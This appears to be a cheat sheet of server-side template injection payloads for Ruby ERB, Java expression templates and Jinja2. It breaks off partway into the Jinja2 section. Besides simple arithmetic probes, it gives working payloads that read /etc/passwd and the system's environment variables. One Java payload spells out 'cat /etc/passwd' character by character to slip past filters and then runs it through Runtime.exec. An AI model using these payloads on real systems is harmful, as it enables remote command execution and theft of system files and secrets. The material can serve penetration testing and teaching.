# Templates Injections Template injection allows an attacker to include template code into an existant (or not) template. ## Ruby #### Basic injection ```python <%= 7 * 7 %> ``` #### Retrieve /etc/passwd ```python <%= File.open('/etc/passwd').read %> ``` ## Java #### Basic injection ```java ${{7*7}} ``` #### Retrieve the system’s environment variables. ```java ${T(java.lang.System).getenv()} ``` #### Retrieve /etc/passwd ```java ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` ## Jinja2 [Official website](http://jinja.pocoo.org/) > Jinja2 is a full featured template engine for Python. It has full unicode support, an optional integrated sandboxed execution environment, widely used and BSD licensed. #### Basic injection ```python {{4*4}}[[5*5]] ``` Jinja2 is used by Python Web Frameworks such as Django or Flask. The above injections have been tested on Flask application. #### Template format ```python {% extends "layout.html" %} {% block body %}